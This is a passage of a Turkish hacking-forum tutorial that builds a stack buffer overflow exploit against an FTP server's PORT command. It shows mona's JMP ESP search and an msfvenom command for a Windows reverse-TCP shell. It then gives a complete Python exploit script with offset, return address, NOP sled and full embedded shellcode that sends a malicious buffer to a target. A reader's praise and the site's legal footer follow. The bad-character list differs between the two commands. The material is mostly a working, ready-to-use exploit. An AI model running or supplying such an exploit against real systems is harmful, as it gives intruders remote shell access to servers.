Debugger programımı açıp "!mona jmp -r esp -cpb '\x00\x0a\x0d'" komutunu giriyorum.Bu komut sayesinde belirtmiş olduğumuz badchars'lar haricinde kalan stack adresine atlamamızı sağlayan adresi getirmesini istedik(Komut içerisinde ki "jmp" assembly dilinde atlama komutu olarak kullanılmaktadır).Hemen bu komutu çalıştıracak olursak:



Görüldüğü üzere karşımıza birden çok adres geldi.Ben tüm buffer overflow korumaları devre dışı olan en üstteki adresi seçiyorum.Adres üzerine gelip "Sağ tık > Copy to clipboard > Adress" diyerek atlanacak adresi kopyalıyorum.Hemen python koduma gelerek önceden tanımlamış olduğum "eıp" adlı değişkenin içerisine 4 tane geçici olarak "B" karakteri atmıştık.Şimdi o "B" karakterlerini silip yerine bulduğumuz adresi ters bir şekilde yazıyoruz:



Shellcode oluşturup, exploit işlemine başlamak

BackBox linux üzerinde bir terminal açıp aşağıda ki komutu çalıştırıyorum:

Kod:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.36 LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0b" -f py

Bu komut sayesinde msfvenom bize hazır bir shellcode üretecek.Hemen komut içerisinde ki parametleri açıklayacak olursak:
Kod:
-p : "Seçtiğimiz payload"
LHOST: "Local ip adresimiz"
LPORT: "Local port adresimiz"
EXITFUNC: "Servisin çökmemesini sağlıyor"
-b : "Badchars"
-f : "Dosya türü"

Çalıştırdıktan sonra shellcode'u alıyoruz.Exploit kodumuza geri dönüp shellcode'umuzu yerleştiriyoruz fakat yerleştirmeden önce 15 adet nop karakter koyuyoruz bir hata vermemesi için:

Python:
import socket

# Badchars ==> \x00\x0a\x0d
# EIP adress ==> 77FAB277

ip = "192.168.138.128" # Hedef ftp server ip adresi
port = 21 # Hedef ftp server port

prefix = "PORT " # Bellek taşmasının görüldüğü alan
offset = "A" * 2002 # Offset değeri
eıp = "\x77\xab\xfa\x77" # Jmp ESP
nop_chars = "\x90" * 15
# Shellcode
Buf =  ""
Buf += "\xb8\x1c\x84\xd2\x06\xd9\xe1\xd9\x74\x24\xf4\x5a\x2b"
Buf += "\xc9\xb1\x52\x83\xea\xfc\x31\x42\x0e\x03\x5e\x8a\x30"
Buf += "\xf3\xa2\x7a\x36\xfc\x5a\x7b\x57\x74\xbf\x4a\x57\xe2"
Buf += "\xb4\xfd\x67\x60\x98\xf1\x0c\x24\x08\x81\x61\xe1\x3f"
Buf += "\x22\xcf\xd7\x0e\xb3\x7c\x2b\x11\x37\x7f\x78\xf1\x06"
Buf += "\xb0\x8d\xf0\x4f\xad\x7c\xa0\x18\xb9\xd3\x54\x2c\xf7"
Buf += "\xef\xdf\x7e\x19\x68\x3c\x36\x18\x59\x93\x4c\x43\x79"
Buf += "\x12\x80\xff\x30\x0c\xc5\x3a\x8a\xa7\x3d\xb0\x0d\x61"
Buf += "\x0c\x39\xa1\x4c\xa0\xc8\xbb\x89\x07\x33\xce\xe3\x7b"
Buf += "\xce\xc9\x30\x01\x14\x5f\xa2\xa1\xdf\xc7\x0e\x53\x33"
Buf += "\x91\xc5\x5f\xf8\xd5\x81\x43\xff\x3a\xba\x78\x74\xbd"
Buf += "\x6c\x09\xce\x9a\xa8\x51\x94\x83\xe9\x3f\x7b\xbb\xe9"
Buf += "\x9f\x24\x19\x62\x0d\x30\x10\x29\x5a\xf5\x19\xd1\x9a"
Buf += "\x91\x2a\xa2\xa8\x3e\x81\x2c\x81\xb7\x0f\xab\xe6\xed"
Buf += "\xe8\x23\x19\x0e\x09\x6a\xde\x5a\x59\x04\xf7\xe2\x32"
Buf += "\xd4\xf8\x36\x94\x84\x56\xe9\x55\x74\x17\x59\x3e\x9e"
Buf += "\x98\x86\x5e\xa1\x72\xaf\xf5\x58\x15\x10\xa1\x63\xc1"
Buf += "\xf8\xb0\x63\x18\xa5\x3d\x85\x70\x45\x68\x1e\xed\xfc"
Buf += "\x31\xd4\x8c\x01\xec\x91\x8f\x8a\x03\x66\x41\x7b\x69"
Buf += "\x74\x36\x8b\x24\x26\x91\x94\x92\x4e\x7d\x06\x79\x8e"
Buf += "\x08\x3b\xd6\xd9\x5d\x8d\x2f\x8f\x73\xb4\x99\xad\x89"
Buf += "\x20\xe1\x75\x56\x91\xec\x74\x1b\xad\xca\x66\xe5\x2e"
Buf += "\x57\xd2\xb9\x78\x01\x8c\x7f\xd3\xe3\x66\xd6\x88\xad"
Buf += "\xee\xaf\xe2\x6d\x68\xb0\x2e\x18\x94\x01\x87\x5d\xab"
Buf += "\xae\x4f\x6a\xd4\xd2\xef\x95\x0f\x57\x0f\x74\x85\xa2"
Buf += "\xb8\x21\x4c\x0f\xa5\xd1\xbb\x4c\xd0\x51\x49\x2d\x27"
Buf += "\x49\x38\x28\x63\xcd\xd1\x40\xfc\xb8\xd5\xf7\xfd\xe8"

buffer = prefix + offset + eıp + nop_chars + Buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer, "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Görüldüğü üzere exploit'imiz hazır :)

Herkese esenlikler dilerim...
Hocam cidden çokk güzel bir konu olmuş oku oku içinden çıkamadım Pythonda exploit yazma mantığını biraz daha anladım artık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.